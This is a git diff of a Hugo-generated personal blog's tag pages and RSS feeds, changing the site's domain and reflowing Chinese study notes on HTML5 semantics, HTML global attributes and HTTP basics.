+&lt;div hidden = "hidden">hi&lt;/div> contextmenu...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to HTML全局属性笔记" href=https://chenjunlinabc.github.io/posts/22/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>html5学习笔记</h2></header><div class=entry-content><p>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
 HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML
 而HTML5是一个标准，指的是第五代HTML标准
 HTML5主要的新特性：
@@ -73,29 +62,15 @@
 要注意可以改变样式的标签不一定是有居于语义的
 在没有出现语义元素前，几乎都是使用div或者span，加类加id
 没有语义的元素最适合当容器使用了
-常用的非语义元素有&lt;div>和&lt;span>
-常用的语义元素有&lt;header>和&lt;footer>
-&lt;header>：页眉，一般包括网站logo，主导航，搜索框等；
-&lt;nav>：导航，链接；
-&lt;main>：定义文章的主要内容，一个页面只能使用一次；
-&lt;article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
-&lt;section>：定义内容的节（段）；
-&lt;footer>：页脚，一般包含版权信息或者链接等；
-&lt;aside>：侧边栏，一般作为附属信息，例如导航索引，广告等；
-meta viewport
+常用的非语义元素有&lt;div>和&lt;span> 常用的语义元素有&lt;header>和&lt;footer> &lt;header>：页眉，一般包括网站logo，主导航，搜索框等； &lt;nav>：导航，链接； &lt;main>：定义文章的主要内容，一个页面只能使用一次； &lt;article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； &lt;section>：定义内容的节（段）； &lt;footer>：页脚，一般包含版权信息或者链接等； &lt;aside>：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport
 viewport 是指 web 页面上的可见区域
-&lt;meta name="viewport" content="width=device-width, initial-scale=1.0">
-device-width指设备的理想宽度,不同的设备 device-width 是不一样的
+&lt;meta name="viewport" content="width=device-width, initial-scale=1.0"> device-width指设备的理想宽度,不同的设备 device-width 是不一样的
 nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放
 maximum-scale=1.0 是指最大缩放大小是1
 标签使用&lt;和>括起来，例如&lt;div>
 html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/
 例如： html不区分大小写。所以&lt;DIV>和&lt;div>作用一样。建议使用小写
-&lt;!DOCTYPE html>声明这是一个html5文件，声明位于&lt;html>前面
-&lt;html> 标识HTML文档的开始
-&lt;head>表明一些和html文档有关的信息，例如title
-&lt;body>html文档的主体
-&lt;!...</p></div><footer class=entry-footer><span title='2021-06-16 09:22:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to html5学习笔记" href=https://xiaochenabc123.github.io/posts/12/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+&lt;!DOCTYPE html>声明这是一个html5文件，声明位于&lt;html>前面 &lt;html> 标识HTML文档的开始 &lt;head>表明一些和html文档有关的信息，例如title &lt;body>html文档的主体 &lt;!...</p></div><footer class=entry-footer><span title='2021-06-16 09:22:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to html5学习笔记" href=https://chenjunlinabc.github.io/posts/12/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/html/index.xml b/tags/html/index.xml
index 827d7e48..25c7b755 100644
--- a/tags/html/index.xml
+++ b/tags/html/index.xml
@@ -2,62 +2,62 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>html on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/html/</link>
+    <link>https://chenjunlinabc.github.io/tags/html/</link>
     <description>Recent content in html on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Jun 2021 09:38:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/html/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Jun 2021 09:38:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/html/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>HTML全局属性笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/22/</link>
+      <link>https://chenjunlinabc.github.io/posts/22/</link>
       <pubDate>Wed, 16 Jun 2021 09:38:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/22/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/22/</guid>
       <description>属性
 accesskey
 定义快捷键获取焦点，例如
-&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; accesskey=&amp;quot;q&amp;quot;&amp;gt;GO\&amp;lt;/a&amp;gt;
按ait+q，就会跳到指定的网页上
+&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; accesskey=&amp;quot;q&amp;quot;&amp;gt;GO\&amp;lt;/a&amp;gt; 按ait+q，就会跳到指定的网页上
 class
 定义元素的类，开头必须是字母，多个类使用空格隔开，例如
-&amp;lt;div class = &amp;quot;a1 a2 a3&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
id
+&amp;lt;div class = &amp;quot;a1 a2 a3&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; id
 定义一个id，id为唯一性，不能重复，例如
-&amp;lt;div id = &amp;quot;a1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
lang
+&amp;lt;div id = &amp;quot;a1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; lang
 定义网页或者元素的语言，例如
-&amp;lt;div lang = &amp;quot;fr&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
style
+&amp;lt;div lang = &amp;quot;fr&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; style
 定义元素的行内样式，例如
-&amp;lt;div style=&amp;quot;color : #fff&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
tabindex
+&amp;lt;div style=&amp;quot;color : #fff&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; tabindex
 指定tab键的焦点控制，例如
-&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; tabindex=&amp;quot;1&amp;quot;&amp;gt;GO&amp;lt;/a&amp;gt;
使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
+&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; tabindex=&amp;quot;1&amp;quot;&amp;gt;GO&amp;lt;/a&amp;gt; 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
 contenteditable
 指定元素是否为可以编辑的，例如
-&amp;lt;div contenteditable=&amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
dir
+&amp;lt;div contenteditable=&amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; dir
 指定元素内文本的方向，例如
-&amp;lt;div dir = &amp;quot;rtl&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
ltr默认值，从左到右
+&amp;lt;div dir = &amp;quot;rtl&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; ltr默认值，从左到右
 rtl，从右到左
 title
 指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如
-&amp;lt;div title = &amp;quot;hi&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
data-xxx
+&amp;lt;div title = &amp;quot;hi&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; data-xxx
 用于存储一些自定义属性，data-后面必须有一个字符，不包括大写
 JavaScript可以通过getAttribute获取到
 draggable
 指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动
 有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如
-&amp;lt;div draggable = &amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
hidden
+&amp;lt;div draggable = &amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; hidden
 指定元素是否隐藏，有两个可选值，hidden/true，例如
-&amp;lt;div hidden = &amp;quot;hidden&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
contextmenu</description>
+&amp;lt;div hidden = &amp;quot;hidden&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; contextmenu</description>
     </item>
     
     <item>
       <title>html5学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/12/</link>
+      <link>https://chenjunlinabc.github.io/posts/12/</link>
       <pubDate>Wed, 16 Jun 2021 09:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/12/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/12/</guid>
       <description>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
 HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML
 而HTML5是一个标准，指的是第五代HTML标准
@@ -91,15 +91,15 @@ html语义
 要注意可以改变样式的标签不一定是有居于语义的
 在没有出现语义元素前，几乎都是使用div或者span，加类加id
 没有语义的元素最适合当容器使用了
-常用的非语义元素有&amp;lt;div&amp;gt;和&amp;lt;span&amp;gt;
常用的语义元素有&amp;lt;header&amp;gt;和&amp;lt;footer&amp;gt;
&amp;lt;header&amp;gt;：页眉，一般包括网站logo，主导航，搜索框等；
&amp;lt;nav&amp;gt;：导航，链接；
&amp;lt;main&amp;gt;：定义文章的主要内容，一个页面只能使用一次；
&amp;lt;article&amp;gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
&amp;lt;section&amp;gt;：定义内容的节（段）；
&amp;lt;footer&amp;gt;：页脚，一般包含版权信息或者链接等；
&amp;lt;aside&amp;gt;：侧边栏，一般作为附属信息，例如导航索引，广告等；
meta viewport
+常用的非语义元素有&amp;lt;div&amp;gt;和&amp;lt;span&amp;gt; 常用的语义元素有&amp;lt;header&amp;gt;和&amp;lt;footer&amp;gt; &amp;lt;header&amp;gt;：页眉，一般包括网站logo，主导航，搜索框等； &amp;lt;nav&amp;gt;：导航，链接； &amp;lt;main&amp;gt;：定义文章的主要内容，一个页面只能使用一次； &amp;lt;article&amp;gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； &amp;lt;section&amp;gt;：定义内容的节（段）； &amp;lt;footer&amp;gt;：页脚，一般包含版权信息或者链接等； &amp;lt;aside&amp;gt;：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport
 viewport 是指 web 页面上的可见区域
-&amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
device-width指设备的理想宽度,不同的设备 device-width 是不一样的
+&amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt; device-width指设备的理想宽度,不同的设备 device-width 是不一样的
 nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放
 maximum-scale=1.0 是指最大缩放大小是1
 标签使用&amp;lt;和&amp;gt;括起来，例如&amp;lt;div&amp;gt;
 html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/
 例如： html不区分大小写。所以&amp;lt;DIV&amp;gt;和&amp;lt;div&amp;gt;作用一样。建议使用小写
-&amp;lt;!DOCTYPE html&amp;gt;声明这是一个html5文件，声明位于&amp;lt;html&amp;gt;前面
&amp;lt;html&amp;gt; 标识HTML文档的开始
&amp;lt;head&amp;gt;表明一些和html文档有关的信息，例如title
&amp;lt;body&amp;gt;html文档的主体
&amp;lt;!</description>
+&amp;lt;!DOCTYPE html&amp;gt;声明这是一个html5文件，声明位于&amp;lt;html&amp;gt;前面 &amp;lt;html&amp;gt; 标识HTML文档的开始 &amp;lt;head&amp;gt;表明一些和html文档有关的信息，例如title &amp;lt;body&amp;gt;html文档的主体 &amp;lt;!</description>
     </item>
     
   </channel>
diff --git a/tags/html/page/1/index.html b/tags/html/page/1/index.html
index 3a142d46..169ec30b 100644
--- a/tags/html/page/1/index.html
+++ b/tags/html/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/html/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/html/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/html/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/html/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/html/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/html/"></head></html>
\ No newline at end of file
diff --git a/tags/http/index.html b/tags/http/index.html
index 26257c30..cdf6789e 100644
--- a/tags/http/index.html
+++ b/tags/http/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>http | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/http/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/http/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="http"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/http/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="http"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>http</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单认识HTTP协议</h2></header><div class=entry-content><p>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>http | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/http/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/http/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="http"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/http/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="http"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>http</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单认识HTTP协议</h2></header><div class=entry-content><p>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
 HTTP是基于TCP/IP协议来传输数据的
 访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应
 浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL
@@ -56,7 +56,7 @@
 前端中的HTTP
 先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）
 http常见状态码
-1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误...</p></div><footer class=entry-footer><span title='2021-08-08 17:02:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单认识HTTP协议" href=https://xiaochenabc123.github.io/posts/77/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误...</p></div><footer class=entry-footer><span title='2021-08-08 17:02:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单认识HTTP协议" href=https://chenjunlinabc.github.io/posts/77/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/http/index.xml b/tags/http/index.xml
index e0aaecd5..d429d0d5 100644
--- a/tags/http/index.xml
+++ b/tags/http/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>http on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/http/</link>
+    <link>https://chenjunlinabc.github.io/tags/http/</link>
     <description>Recent content in http on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
